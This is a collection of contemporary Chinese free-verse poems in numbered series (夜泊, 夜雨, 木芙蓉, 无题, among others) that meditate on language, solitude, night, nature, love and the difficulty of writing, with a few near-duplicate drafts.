一些想法，头顶是不易破碎，熄灭的白炽灯。 夜泊016 《夜泊016》 如今，时间上面行走的刻度 更加被需要。 纠结到最后做出的行动， 也还是行走之意。即使他沉默 对于坚决， 不仅仅男人，这些世界所赋予生命身上优秀的品质。 遗留下来里面。最为形象 用来描述自己的事物 他看向那墙上挂钟褐色指针。 夜泊017 《夜泊017》 对一个现代人， 何况是东方人。 我了解到隔着大洋彼岸的一段话语 一首诗歌书写者认为俏丽那里的 一个句子。 丰满的城市之路，人儿从那里慢慢的走来 走出，进入到城中心某某 带有喷泉的广场。另一番情形 是一切皆在，就连诗歌也抵挡不了而它 借此才生的历史和历史性话语之中 出于每一个人在生活中 即使需要以庸俗的话语来走出庸俗，旁落的 涉及命运，最终它被发现的无聊。 而从某条与它那一行近邻的伊斯坦斯河上 我询问起了易被遗忘的昨夜的事情 普卡艾西拉，他自我介绍。 我重新标定我的位置，或者往准确位置的一边 再靠一靠。 夜谈003 《夜雨003》 孤独并不会因此而更加的孤独， 当我们把诗歌上面的持续前进 在我们面前意图解这道谜。 而从它从未曾恰当的身份，像 需要一次次的重复强调 共属于文字。迷题一般我们有着 最低的诉求。我们有着 特别现实的处境 才将我们的手伸向了诗歌。 有时我也读到了在手臂之上，有着 黄金色的道德感。挥手道别已经来不及了 而他们更为耐心和长久的等待 当那些早已经五六十年代的诗人们 再次的奋力和热情， 对于微末或人的内心的懦弱，以品格来视之时。 夜雨004 《夜雨004》 若在长久之中，我们不愿意靠近的事物 变作了情爱中的暖意。 同样温柔的是我们， 接受一次风雪的考验。以为一切都已经过去了 对于我们而言，看不到的 无形。又语言一般的事物 况且是在它的深里徐徐下降着的，理解上的偏颇 夜雨005 《夜雨005》 握住塑料茶杯就好像 把一个宇宙都握住了。一整个 宇宙悬疑了那么久，曾 如同填补进去语言， 失败且徒劳无功的尝试里面 收不到任何的回声。 除了那些我曾想浅尝辄止于， 刚刚开始就可以遇见，悬挂在正门口 游客止步的牌匾。 用崭新的装订，配合黑色大字 短暂的哲理算得上什么呢，如果真的需要 一个人的存在体验那么鲜活 直到不可回避。我也困惑于自己的肤浅 有自欺欺人的成分，盼望一场 如果不会降临的夜雨时。 夜泊018 《夜泊018》 已成既定的事实， 依然放着光明。在中间 有水。傍晚 同样笨拙的语言我只能用它来 作为自我慰藉的形式。 方式是错误的，从不会开花但总因此 一次次试着结果的危险行动那里出来。 如果我们是在农村呢， 我也一样，代表着某种联系和血脉 就像是语言所强调的那个样子一样， 它的某一部分。别的，也不是用来记录 乡村生活是多么多么的宁静。 夜泊019 《夜泊019》 不只是许多诗中的某一首， 喘息着的书写更何况，贫乏的书写。 入夜， 不被找到而失去联系的道路和方向。 一首诗的形式表明了到来者的两手空空 跋涉的两手空空，之后多么的可悲呢 离去者的两手空空。 一首诗歌并不会暗示，并且于苍翠 在暮色里面的阴影中隐藏。 别的什么属于内容，需要通过旧有的传统 补救，从没有什么拯救者 人最初自信满满，肤浅的悲观的言说 罪业和祸源，源自于一种起初的混淆。 夜泊020 《夜泊020》 通过时间而有了，更深的不断的伪装。 落叶的枯萎的黄色，听起来同样令人感到怀疑。 真的吗，午后休息的间隙，里面陌生人 总对着另一个陌生人。但我并不愿意展示 如果徒劳的命运，或者出于命运最终要有一个 结果和答案。向另一个人儿，便建议放松和休整。 每一个遗失者，每一个无根每一个 其实试图将语言推向极端和深处的人们 手儿晃动水杯里，茶叶和咖啡。时代的错误。症状 早已经蔓延，分布，像我从未曾察觉到自己耳目闭塞。 想起一个思想者也未能幸免于他对死亡的恐惧 反其道而行，预料到我的恐惧如此轻微 于结尾的匆忙那里，突觉放松和自由。 在一切结束的不可证伪，是它们正作为语言被一道光芒照亮着 干脆开诚布公于这种畏惧，接着。他说。 所施予每一个人就好像，我们刚刚从晦涩里面出来就有了遗忘发生时。 夜泊021 《夜泊021》 必经之路是有的， 世界倾向于它自身的小。 把添坠和侥幸都推卸给 如何思索相比道德而言 生命作为一种可被浪费，消耗之物。 过去的刻度，我觉得 刻在以寂静里面有声音而因果于 因此的不可寻时。同一时刻 我从厨房的冰箱里拿了一些糖果 再回到自己温暖的住处。 夜泊 022 《夜泊022》 糖果的制作过程， 是糖。 冷风气候中缓慢翻动一页纸的情形 重新复现了对它的制作。 但人并没有吃糖，吃的是那个 想办法遵守于意志力，实则命运失败 具体的情形。 需要无声的强调人是活的， 甚至鲜活是。积存的力量呈现为轻柔 心想事成 带着埋怨般把一页诗文翻动。 夜泊023 《夜泊023》 生命像一个包装的过程， 为了掩盖这个室内唐突而紧张的发现。 像鸟，抓着干枯的枝头 回头看去时，那种丰富性与可疑的矛盾里面 像说话者对着空空的另一端 配合着手臂是他的声音。像寒冷寓意某种 终于到达所包含的歧义 实则我累在了一种肤浅却找不到门路的现实处境 像我能最先想到的事物。火灾一般 暂缓，不能停止。每天推着车子去市集上卖菜的老太太 她怎会懂得一种无辜。所求是特别现实的情形 无知的情形紧紧抓着那个盲目，曾试图 转移，给语言赋予莫须有血脉的人。 疼混同于冰冷，两个问题，枝头在冬季里继续生长 枯萎失去了它的效力。求助隐喻的人，高高楼阁里面 钻研碳火与新时代的关系。两个问题是一个问题 一个问题衍生出更多的可能。为什么耳目闭塞 书写却越来越多，明明能感觉到却因此而越来越远 夜泊024 《夜泊024》 想个办法， 想柔情想女人。 想失语的情形缘何， 因此才与浪漫的情形同一时间 发生呢。 想，又害怕遗失 遗失又害怕确确实实失望于 异乡。 只是故乡名字的拿掉和替换。 如今那些尘土飞扬已经很少见到， 只有一个人或一个比喻而言，走的更深了 彼此有关联的事情 在深山和荒废的村庄。并不怕远 也并不怕一种个体， 人儿脆弱的妄图替换。 谁呢，谁说南方？ 夜泊025 《夜泊025》 容许有更多的时间， 以展示空白或者虚无，与言语的关系。 人能看到什么，透过夜里错综的枝杈 我并没有指明， 所有的不愿意离去是有意于久留。 甚至更为的果断只是一种 再也无法去回应的短暂，匆忙下的结论。 枯萎的枝叶落之后才得以 揭露并把存在的意义团聚。 但夜里确实无人，隔着结了冰，上了霜冻的 河流 夜里木屋中间的某一间， 温暖升腾与语言之上，沉思的徐徐下降结伴。 谁又能发现那更多的只是驯导 我孤身，四周全然都是， 第一次做这件事时的恐慌和孤独。 我开始怀疑文字的历史会更为的长久一些 我，一个人类 那么文字中某一个词语所涵盖的 多半也涵盖了我。 筑房，劈柴，生存和娶妻生子 或者孤独终老才应该是我的命运。 阳光下的短暂温暖，确确实实也是我在等待 那么短暂，擦肩而过的事物和人的到来 临终者所具体组织和托付的语言 那内容残缺的部分，需要一种 如果仅仅限于，把我所知晓它们的形式 而内容模糊时的清晰的那一刻。 夜泊026 《夜泊026》 试试这种方法，其中最为谵妄 我在里面消隐。 只有最轻易，我们无法反驳的 最为的自然。 就在我们眼睛里， 你走来。出于一些悬而未决的 事情。需要一一对应之时。 夜泊027 夜泊027 《夜泊027》 我低下头，为自己内心的 缅怀和孤独。我无意于早已经 空空的桌上酒杯。 无意于早已经过了一场大火焚烧 不满足作为后果，且呈现无言 使人为之着迷的文字。 甚至在无风夜里，它们曾想把火焰 一同带往遥远之地。 而今夜我感觉到的，是无法被其他的什么 所能分担，寄托的情愫 若我看到是夜中的一丝光明 更多的还能有所被恩惠，像一个可怜的 声音发声体。沿着被误以为作了富春江的地方 缘溪而上。 我看不到它或者它们到来时缓慢的旅程 慢中我绝不会追问，曾经那不属于多余 而苦思冥想者的焦虑和贫瘠。 如果确确实实，土地更需要被呵护，被保护 可谁又能摆脱，接着临面关于摆脱为何的意思呢。 已经到了夜寻的终点。嶙峋 曲径。更多是山的静默 不遗留下名字者在他的踪迹里面， 似一句禅语。像明天那些香火里面 因嗓子的敏感而断断续续传来的咳嗽声 夜泊028 夜泊028 《夜泊028》 为了延续阅读中的惯性， 而想象之树。扎根以 求得将我也能在一种繁茂阴影里面笼罩。 我称它为一颗星辰， 始终残缺的部分。低下头早已经发生 对于我，来者我也未曾察觉。 文字却也未曾改动分毫， 如果那出于轻易的悲伤和动怒， 不为粮食，河谷与土地 从黑暗中赶来，又在一种夜空之高远中 我感觉不过如此。 我感觉按压的困难 反而在于自己的贫乏和无知。 这需要未来的很多很多年里，没有 如此夜一般的曲折和寂静上， 星辰赶来的办法。 我靠近了寒山寺，夜中最后一点点 围墙拢起来的自我保护。 内心的忧愁，游客止步的力量并没有停歇 某种玄妙的平衡。 难以言喻，是否我也可以夜泊于轻舟？ 夜泊029 《夜泊029》 骄傲，循环的车轮 坏掉了的用它那无声正抵抗着的 是它唯剩的功用。 我向回走，我恋旧。那展示的时刻 光明与黑暗交错，迷离 我无法仅仅以拼凑，而这 所提供给我的， 及时之物。即使事先已知道了， 有关它的易逝是那么的易逝之时。 夜泊030 《夜泊030》 因为少而多， 面对并不只有我一个人。 而爱意的世界总充斥着悲伤。 因为景物总要投射到我 蓝色湖水一样的眼睛里面。 有时，它也会有一个具体的名字 避开了熟悉的地方，人和事 语言上面那些奚落和嘲讽 西湖。即使从每个 单个个体的脆弱和渺小而言。 这会生出了，蔓延出了许许多多的路径。 在具体是一个登山者时， 准确而言。是应该止步于湖边 群山所具有的界定。 和如何一个人儿的重要性。 但真实的情形充满了不管不顾的样子 低着头， 为一种回返，而下一次说不准还会被抛掷时。 夜泊031 《夜泊031》 没有什么，无。 但气候已经加深了它，人应当 躲进室内。 像是出于某种肇事而躲进了室内， 冬天的表面常常是冰冻 泛着凌冽的光。 谁又能分出在一种沉默中的对与错呢 何况事物。在更多被我们弃之不顾的时间里面， 度量它们的尺标 语言徐徐延伸出的丈量感。 我感觉我们一直在获得某种馈赠，多余的。 一直如我们所预期的那样，也有一些并不属于多余。 夜泊032 《夜泊032》 那么多事物的残片，不用分析 也可以知道是我。 有一个世界上最为神奇的奇迹， 语言和语法上面 即使在许许多多其他的场合。它们 被更加温柔的抚摸，女人们柔软的耳语 如春风一遍又一遍。 怎么也不会厌倦。 我感到，会有一种春风，更早于 冬天末尾的冰凌。便开始悄悄的融化。 接下来的行程像呼应，像 载歌载舞，像有一双雪绒花一样的白鞋子 轻轻的走着。 对了，是呼应。于是用尽最后一丝的力气 那人儿推开了窗户。 世间最美好的缘由，如果没有一丝一毫的 努力和勇敢。相伴 那么值得怀疑是否真的会有人儿 从大片大片的虚无之中回返。 就是这个，那世界上最大的奇迹。它破碎了 我消失在了一场莫须有之中 凿刻，搭建最简陋的房屋。 青花1 《青花1》 之后， 未来总是一个会让人感到羞涩的词语。 我在是与不是之间思量 问题是什么呢？ 如果我对它喃喃自语的重复， 一种盘旋和萦绕，因此反而远离，掩埋它时 青花2 青花2 《青花2》 我未曾去过， 未曾到过。 它，在我的目光所及之外。 \/ 我未曾真正探视过人的心灵 它，是果园中一枚红果子。 \/ 被人儿摘下， 被一双手儿。摘下了 枝头上只遗留 空空。 \/ 但我从未见过自己 被如此温柔摘下时的情景 那里面一定包含着 记忆的紊乱，和吟唱时的空空 木芙蓉1 《木芙蓉1》 我不用离开这里， 不用动身，收拾自己的行李。 到彼岸去。不用 等待你的话语。那些欲言又止里面 即使情难自己， 有着被拒绝的冷漠后，有着你 第一次是你，瘦弱的人儿 徐徐下行，正慢慢的挣脱了，从你自己。 于是，百灵鸟儿才在秋天的尽头 找到了它可以安居的巢穴。 河边叼来的一根根树枝和草茎 树枝干枯又带着并不腐朽的形状。一根根的 搭建起了你清脆的嗓音。 入夜，我一直都试着静坐 即使我知道那些使我并不沉默， 最终来自于我对你的应答。 星辉，灿烂，如船 一切都在这之前发生了。一个答案 也会有个温馨的模样。 木芙蓉2 《木芙蓉2》 组成一棵树木的东西正在 我的面前展示着它们。 有时候，语言也一道组成了它们 此刻如此的必不可少。当时间同理之时 其他的部分， 没有被推开。是随风来回飘荡的枝条 和拥有着更多自由度的绿意的叶子。 木芙蓉3 《木芙蓉3》 我们在尘世的事情已经足够的多了。 大地上，有一些来不及经过处理 便为徐徐下降提供了理由。年轻人不信这个 他们说，比如暮色时分太阳 这之前就曾把自己烧的火红，滚烫。 木芙蓉4 《木芙蓉4》 如果世界足够的宽阔， 诗歌勉力的提供。 一条河流。 接近于一条江水的形体 而在那些向着“大”靠拢的事物之上 其实我们的生活一直贫寒 早已经过够了风餐露宿的日子。 布施者往往总是千篇一律，如果 语言与世界，幸福有着不可磨灭又 晦涩难懂的关系。 在给我们讲述它们由来的历史之时 在一条湍急的河水上是诗歌。 事物的不完整和完整 都原因于那更高之处，尚且留有的空缺。 木芙蓉5 《木芙蓉5》 多么奇怪，多么迥异 告诉我， 不同的两个事物是相同的。 ——夜晚，是我等待着它们 脱去了身上厚厚的伪装。 木芙蓉6 《木芙蓉6》 当你静坐， 你会想。 要是有人能在这时喊出我的名字就好了。 \/ 黑夜被想，被想了。 在黑暗中， 他整整找了自己一整夜。 木芙蓉7 《木芙蓉7》 我在找我的童年， 一位美国诗人 她试图言说的，是那种情形 当这不可能实现，期待会永恒处于某种缅怀 极有可能的一丝丝，旷野上 有人带来一抹火光。 木芙蓉8 《木芙蓉8》 我在找我的童年， ————一位美国诗人 她试图言说着，到达那种情形。 但当这不可能实现， 期待会永恒处于某种缅怀中。 极有可能的一丝丝的微弱， 旷野上，也在诗歌上 她书写到，有人正带来一抹亮光。 无题029 《无题029》 不应是一个世纪，一百年。 就像， 你会拼写。如今你也会 用手指敲击 打字间，微小的缝隙里面，你变作了我。 在木屑里面，在看起来已经足够温柔 足够用以把某个人儿来怀念 她迷人的眼睛看向别处， 她曾经在这里坐过。 她也不明白就像我自己也犯迷糊 木头中的木屑，一地的粉末 其间有一个小小的窗户 像是被木匠，打造家具时故意遗留在了上面。 田野不变， 但那属于更久之后的事情。 我 《我》 起点是，一泽水泡 一片湖泊，一片汪洋。 是我如今连词语都念不清楚 很多年前，对着一株梧桐树 学习说话和写字已经很久。 如果如更像是今是一片水，月光照着 明亮。 我已经把话儿说完了，我已经回不去了 就是刚刚的那句话。不是补充 也并无更多的奢求和贪婪。 湖边。。， 《湖边》 冰凌上升，遇到的 并不是冰凌这个词语。 我去观湖时，树叶凋零 湖面冻结。 谁能在完整时谈一种琐碎 能被拿来替代什么， 它仅仅止步于此，某种细微和微小。 有着清晰的接线，有光芒 下午最后的一抹亮色粘附在表面 和想象的表面。如果这些词语 没有到达穷尽之前，出现了重复和卡顿 并非偶然的，事件一直从早春持续到凛冬 也不是诗歌， 也不是某个人 如果也不是某一棵树，周身被人儿的遗忘 和紧张萦绕 所萦绕的是某种暗淡的光线 是某种对于给予它准确描述，想象的不满 在人类口腔和语言里面的一株树 如果是一株杏树，面对着重重迥异的湖边 则更深一些 在语言的根部观察人的观察 正用它的诚实，唯一的手段 当它自始至终都只是湖边的一棵树 傍晚的雾气里面，影影绰绰。 失去的语言比得到的多，多也可疑 就是湖边的情况了 但那里我没有去过。 无题030 《无题030》 那时还没有文字，书写对于空白的 迥异提到。 最简单的的事物我们尚且不能言明 最简单的事物， 有着最简单的困难。为了应对于可能发生的 一切。枯坐，朴素，贫穷和衰弱 往深里和那个深的可疑里面 却未曾被打扰的寂静。 春天明显未到，如调换作为 惊扰。我想会有燕雀振翅 就在此止步了。 飞翔的，长鸣的，皆来自于把它们自身 和柳条，河流，和一身的好天气 带去。你的陋室 想象你正用牙咬紧了笔头 为了抓住一个瞬息，对应之物 窗外的群山，更晚些的诗句中，有一句提到了 门泊东吴万里船。 此为悬疑。有向前的力量。 无题031 《无题031》 是否早已经厌倦，而透明也是一种 厌倦。并不会因为对于静止的寻找而感到欣喜。 那些使得沉默作为了另外一种 而首先是透明，水的亲缘，委婉的词语和行动 上的直接性。 不可否认，生活有时候会略去这些 你静立在桌子上。茶几上则是变作海洋的缓慢。 从海洋上面漂浮而来的空瓶子 需要更为长久的闲置和漂浮。但不知道 是否这个比喻的恰当， 在一个人的喃喃自语，他热切的渴望 与另一个人对话。你在幽蓝色里面面临着语言的 空洞和悬崖。 水流从悬崖上如海洋在辽阔的直线般峭壁上面 跌落。女人的柔软身体接住了你 星期五之后的空闲和休息，你的意思 空洞向饱满的再一次复刻被改变。 热气腾腾的茶叶和咖啡不会阻拦一颗充满了 困惑的脑袋。睡醒之后的人儿 浑身充满了力量。多么多余的附加 你烫手，你的记忆一开始就是添加而非丢失 你目睹一切的是用了什么方法和眼睛 充满了悬疑的空，或者空 当那个途径的过程，我看到了水杯，我的目光穿过了 水杯。透明的水被证明了无形，和那语言的 我从未曾真正从肤浅和紧张的难以静默里面 事先的行为也被感觉到了，人儿的自身是多余的 并不会分出什么，像未雨绸缪，像足够的倾听 才可以 使得等于之间是盛满了水，浸泡同样浸泡了撤的什么 无题032 《无题032》 饮食和饮食相碰， 年龄和年龄相碰， 男和女相碰。语言的尴尬处境是否真的存在 谁又能摸到岁月的流逝 教导我们的人以他的亲身经历 又在于此刻的不见痕迹。 如果低下头不是寻找，不是端详，思索 和追问。 那些碗中早已经没有了波澜 办法的有限性取材于大自然 男和女之间的普遍性， 有那么一点点，中间，再更加小一些 爱情更为准确多半处于易被遗忘之中。 青花 《青花》 悄无声息里， 走。也在这上面行走 也静默，给人的感觉 分不清浓郁里的寡淡还是 似欲言又止 不知藏在何处的手帕 拿起来擦拭了一下 唇边的愈加潮湿和柔软， 也是青色的，如果有更早就泛起的春潮。 窗户 《窗户》 停留在那里的浓郁和 寡淡不一定是假的。 相反，看过去的窗 窗户里面映入眼帘的风景反而更依赖于 天色阴晴变化。 如果我只是在经过了长途的奔波之后 疲惫，坐下来休息。 赐予我的事物不仅仅有热茶，桌椅，饭菜 还有风景。风景的追思，或者 从此以后常被提及的戴青，天青 是什么呢。 首先为这种多，我感到的愧疚和感激。 让那个问题如美人一般悬留吧。 其次，感激于哪怕仅仅自己误以为是 从此作为起点，某一种事物的开端。 买油条 《买油条》 我强烈的怀疑，敲打， 渐渐的有力量。接着变得有节奏的敲打。 木头岌岌可危， 成为木头。语言化身成为了一段话、 而对于它的反驳，竟然也出自它 同一人，同一事物之口 ：锤头踪迹不见，不可寻。 调整了顺序，队列 为购买而原因并不向着一个饮食时 饮食却也确确实实是排队等候的守序之姿。 我夹杂其中，一直体会着自己的普通。 谈一种道德感， 我觉得这比道德更准确。它的简单又在于， 即使有所反转，更多次的发生也都可以之时， 道德与怜悯，不仅仅可疑的。而更深 往那个笃定那里。 无题036 《无题036》 这需要停顿， 比我还需要，我需要等待 一切都会慢慢显露出它们自己的模样。 我本想提醒和强调 一切事物的本来就像我们到达了一处水潭 令我们到达终点的原因 在于兴致盎然而对于追究和继续，这 难道不正是我们苦苦寻觅的终点么。 它们本来的模样，无关于天气，又颇具隐秘。 所以我就来了，在一处凉亭 天下着细雨。 在这个过程上，是否它们也曾有过怀疑呢 就在它们之中， 或它们也未曾作为一个整体 真的，就像语言中罗列的梨花树， 紫藤和石头圆凳。 我一直谨记那“真”的往往被忽视 那又是什么呢， 行走的易失去，又因此回来的再次准备 使得一切仿佛刚刚开始， 总在门口，窗口。 木头， 《木头》 为什么我不相信， 我的生命只是一朵轻浮的云。 我离一根木头那么近，只为了能够倾听 木中存在的歌声。 在腐朽和陈旧中存在着。 河流一样舒缓的节奏，某件事物 傍晚霞光中清洗过的衣服 拿来铺展和晾晒。 霞光也会把它染成红色， 上面有一团火焰，跳跃。又因此保持着 朦胧的美感。 但木头，更多时间它不得不在腐朽和斑驳之中抵抗着。 我也已经衰老了， 这些事情已经不可能真实的发生。 我更愿意把歌声的来源与去处，想象成 没有归宿，漫无目的的飘荡。 我有着其他的打算， 在一根木头身上有一扇窗户， 夜幕降临，音乐响起 有人，有我，会把它打开，在那静静的听着。 老鼠 《老鼠》 死老鼠躺在那里，只剩下半截身子。 它长眠的寓所得以在文字之中。 这是最有可能的一次， 这一次从人们对于无言者的追问， 在那些对语言和文字，更何况需要嫁接在文字中间的 怜悯的道德感。 只能以匆忙的逃窜来作为应对，回答。 老鼠也没有想到， 亡故除了疼痛，更宽广的边界却在此之外。 文字中，老鼠与猫成为了邻居 朗读中慢慢的有了亲缘。 盛满了玉米的谷仓堆放在那里， 如果每一粒都可以带来一次，从生到死的 跨越和思索。 道德一直都存在着，有时候出于谦让 人们说，诗歌只是 比那个恰巧发生在谷仓边的狩猎和 捕捉稍稍晚了一些。 对于挽救又有追悔莫及之意， 但旋即，像出于自然伦理中那个更大的道德法则 对于人自身的需要。 当把那个脆弱的生灵，连同某种普遍幼小 一并纳入诗中的长眠里。 无题037 《无题037》 在一个两个，进而两个 与三个之间。有着向繁多的缘由 用笨拙的语言描述它 我也还是一直是越来越笨拙之人。 我也不能真正的想象，如果 自己成为了一截木头的一部分。而它 正摆放在院子中央。清冷的冬天月光 一种揭露。而处于沉寂无声之中， 没有声音的另一种情形，是声音 一时难以理解的极端情况，如此平常和普通呢 我问，因别无他人。但绝非寂寞 我问起之时我就是了一所房子的主人。 看向院中的某一个事物， 它比白日更加的袒露。从一到多 是一道夜晚忽然闪过的光芒里面，语言所表达的内容 具体的，它的另一部分也伴随着易逝。 我在 《我在》 我在， 没见过钢琴。 未曾见过月下的钢琴弹奏 之人，把水推向了更深处 如此委婉的有一个理由， 错过的每一个事物，源自于不愿意倾听说教， 都有着易逝的特征。 它们可以抓住每一个闪光的瞬间 把分，毫和秒，用最为温柔的方式 填充的充实。 其实，它们更加的一直充耳不闻于 每时每刻都发生而产生的真相 始终盈着的有一些缺口。我就是从那里来，我 大于一支自己把自己的想象。 走进院子时，借着月光和灯光我看到了 我自己， 好奇着的提问着 而那支曲子如何而来，如何的远渡重洋呢 桃花 《桃花》 我现在热切，滚烫的都能烧开一壶水呢。 姑娘，我需要木头，也需要你。 我觉得你首先并不是对于过分美丽的一种诠释。 不是一朵桃花，迷人的一片红 甚至你都不应是春日里一株生机勃勃的桃树。 有着欲往向上的力量。天空不是唇瓣 不应该有一个粗糙的应答和亲吻。 你应是一根木头。你的名字，亲爱的 虽然是你的父母亲呵护着你，给你起的。 或许还请教过教书先生，查过周易和古籍 斟酌和思量，但我觉得 事实上你的名字只是一株植物的名字。代表了一种植物 当你慢慢的开始长大， 听闻有人，有我 要把你呀 要把因为朝思暮想于你，热切滚烫如 想烧开一壶水时的深深的痴狂和眷恋。 在不愿意被比喻做木头的抵抗里面， 在木中你 桃花，桃树，甚至亲爱的你还结了果实 而我一直在呢。春天时多么需要雨水，春天里的雨， 很细，由我的眼睛和脸颊儿，不断带来。 我在。 山坡 《山坡》 敲击山坡上面的一颗石头， 想象，石头会因此把一扇窗打开。 往前走，会有人迎候。会等待 如果路途的方向相反， 往回。 寒暄已过，我从未体验过久别重逢后的 激动和思念。 上山时我不累， 我一直都在猜测着你 用花朵，树木，晨露和傍晚的云彩。 对于山坡广阔而言， 无边的寂寞会把触碰的清脆声掩埋。 我必然要离去，心中有一颗石头 投下了波浪。 我觉得你的眼睛很美，笑起来很美 像以前一样 在我心里的那片湖泊。一直都在在我的心里。 我却一直在苦苦的寻找。 它们 《它们》 在生下来的时刻最为的新鲜。 在逝去之前，这些闪耀着，粉饰着 叮当作响又轻微碰撞下面 是另一个起点。 无言，神秘，抵万有。 好在只是以那作为另一个起点，从那里开始 方法，也一并能够将神秘回应。 没有信以为将会解决的人可以穿过死亡，走更远。 准确仿佛失效，而因此才更加的谈及准确 竹蜻蜓被网扣留， 但这只会给生，它那一直恪守自然原理的流转 把纷乱带来。 我从那里来，如果我这样去说，有时候获得某种 短暂的勇气。 我想说的是某种被抚开，被想象了的手 轻轻的一推， 对于那些问题的长久不休 但我不是说人多，人在多中更容易跌入 每一个生活里面的具体。 是想象更加尽力的在说我，在说此刻 我猜测。 往深里更深时，我正在才想那个 被想象了手儿，它曾如何如何的温柔。 山川 《山川》 在那无声里面， 山川占据了它。 它如今被想象，我想象 想是要用力，用尽所有可能的办法 想的对象却只会 从容的表示下生长。 如果那还不是生长，更为的原处 山川上面行走的那个人 他正走在一种慢的，只有在极其慢中 那种缓慢才有了 如果有所静止，停留不动。 便也有所轻轻的触碰。 雪。， 《雪》 对于寂静 在我的耳朵之中，有的 不仅仅是笨拙 和万千个耳朵。 有的不是在此之后才因此发生 被忽略的因果，包裹下面就像一团罪证。 像一种声音说着，这 确实有罪，缘何又生出新的悬疑。 说我的遗忘，如果对未来那最为容易。 说语言，如果语言易逝。 说我是我，说某个人，某件事 它多么被期待的可以到达于我呢。 于是，说些什么 我努力的瞧着，看着，也听着。这个说 此处的寂静我觉得我曾经来过。 我觉得说一定不能过分的悬疑，无物永驻的 分毫里面。我还拿不出一根细细的丝线 我还不能到达山脚下的另一个村庄 那越来越顽固的愿望。 目光不能从试图自我嘲笑，可怜的完整性上面。 继续的热爱，并期待着这种奇妙的循环？ 归青田 《归青田》 田野之中，只有稀少的粮食和果蔬 为我所需要。 种植时我曾到达过它们，那是第一次。 而之后，当秋天过去，地里荒芜 我步行从小路到达它们遗留的残茎时，是一种重复。 静止恒在，也会在运动之中 自以为是大地上的诗人。 有吟唱和言语的重量，有耕作和 开垦的重量。 属于很轻微的附属，像空气 往往归于日常。 试着用语言言说它们时，言语与另外一种言语 彼此碰撞。我那时正在入秋后的小路上走着。 新月 《新月》 两边都没有什么，也没有人证和物证 来把这种突兀证明。 是强调，热切，期待，失望 还是明证，它如此冷酷的事实呢。 是谁，除了念叨“时代”“时代” 这个词语，再也做不了什么。 像是正有另一种虚无，正慢慢把这种虚无 淹没。 覆盖里，我获知了。为什么他不断的 低语。因时代是倔强。 商店 《商店》 商店中售卖着火柴， 也售卖遮掩。以遮掩 售卖所有会引起火焰的 妄想和欲念的困难。 店主人有时会梦到光亮产生的那一瞬， 迅即消失带走了一些什么。而这梦 与火的关系 又因他曾一次次的想把 这短暂也纳入其中，摆上货架时。 泥土 《泥土》 常常是泥土在文字下面覆盖， 裸露，在不同地方有着不同的颜色。 语言想对此， 对这个地方。 深浅程度的不一寻求一种确确实实的特殊性。 语言却已由它们所组成， 多么自然呢。人们觉得说出如谜， 不需要解。 巴山 《巴山》 巴山的雨下了一夜， 妻子。 不知道我想你， 或者我想你已经被冲到了哪里。 困难 《困难》 让人感觉困难， 不是具体的哪一件。在困难的边界外面 更有着那些会让人感到痛苦的事情。 也可以因为极其遥远， 人们常说，书籍中，在某个经典里面 人和发生的事情。 希求能终归于故乡尘土细微。 阅读时刻，并且在于 正有一双无形的手。把尘土在我们的身边溅起 未能溅起时 声音里的追忆大于了寻找的意图， 但寻找依然在。 何人斯 《何人斯》 谁， 他是否需要一个错误的比喻。因他 也还活着。 是否，沉默的原因在于更早的察觉到了 组成那语言 是无力，之后新鲜漫长 最后，有着我到来的目的。 与你，与他，也等待着。 人的孤独并不只是你我，词语在 表达上面也时常难以拿捏和准确。 说不准又一次，我们都陷入了邀约之后 共同在山顶岩石上面观星的沉默。 奇妙并不在于每个人都有着每个人自己的心事， 也在于此， 当想起心爱的人儿。当想要阻止这种在于。 但确确实实都淹没在黑暗中了。 天青 《天青》 买， 卖。 一并也买下这种卖。 放在桌子上的青花， 它又要多久，来把人们思量。 当人们接着去想 去揣测。 还不是品尝和观赏。之前信以为真 能装下水和茶之梦 小小的天青。 浮沉于要说是假的，并在其中言说。 天青2 天青 《天青》 买， 卖。 一并也买下这种卖。 放在桌子上的青花， 它又要多久来把人们思量。 当人们接着去想 去揣测。 但还不是品尝和观赏。之前信以为 能装下水和茶叶之梦 小小的天青。 真的可以。在那浮沉于要说的一切充满了虚幻之间 在其中又慢慢的尝试着道来。 露易丝格里克 《露易丝格里克》 露易丝格里克的身板太柔弱了， 因此她写的事物质密而要有重量。 但这是她的因果， 她也强调。不止一次里面的任何一次 即使都是轻微的。我阅读的时候，我也不是为了 期待，一种明证于无存在。 山头 《山头》 以孤独我们更加的向着传统靠拢。 如今的单一情形，是被抛离的人们 从四面八方纷纷聚集之后，情形的再次单一。 事实上它并不发生，发生是一个错误的比喻。 它所隶属，像那些人世间众多错搭的因果。 借言语人们彼此要渡过对方身上的河流 而它之有和存在着的， 那些个如今看起来属于多么孤独的情况。 被讨论的，这种生命身上孤独的单一处境，便如尾音 因为始终维持着它的慢慢消散已属于不容易了， 就不要再有太多的追忆了。 无题040 《无题040》 请让一个柔软的女性在我的身上发生， 仅仅懂得，在我试着打开自己的时候。 离自我怜悯更多一些，这些词语 如果并不美丽。 那么它们在无风的夜里，为什么会对着寂静 与寂寞，发出了叮叮作响的声音呢。 要说清脆，说很多。 说下午我已经寻一处地方，在草木对 腐朽和温暖却无望之中给我提供的寓所。 可我爱的不是大地，不是植物 深秋。头上的几根枯草，总要把它们从我 被误解为植物那里剥离。我爱你 即使独自一人 也会让人的脸颊绯红。 青草 《青草》 在我足下踩着的地方，青草生长。 它对大地的坚实并不质疑，比我更有亲缘。 青草嫩绿。心怀疑问，我却不能深入到草的 绿色之中，询问。 有关于一切坚实的基础，仍需被明证的问题。 草沉默，继续生长。向上。 像早已有了另一种应答。被保留的始终深入的模样。 在相反的方向上面，有的不只是更为的自然。 草丛掩映中的我，静默也越来越深了。 夜鸟 《夜鸟》 天堂多么的不贪婪， 将清晨，正午和黄昏都纳入了其中。 多么的贪婪带有 与人类欲望一般的，相仿的模样。 我早已遇到过异国神圣的语言， 在降下的湿漉漉文字间。 彼与我们都一定会得到，而属于他却是那不可知的回答。 翻译诗歌的东方人被淋湿，更为的快乐。 抵触于新神圣的制造。手儿结茧 未曾注意到他们的语言上面，有许多细小如颗粒的隆起。 你。，。 《你》 观察句子，爱这些句子 水流之深早已经发生。 而那些测度的声音，实则只是 只有在隶属于更远之处 才大胆的说出。 那并不是附属，不是我们可以从沧海 月明，窥探的空空室内依然还留有 名字可查之人，淡淡的香味。 那些在更远的更远之处， 甚至还有可能，只是我们自己懦弱，懒惰 和苟且的 无形的旁白。我听到了有人儿 在腰间悬挂了用来比喻的铃铛 听到的是它的脆响，却变成了 惊扰的吵闹。 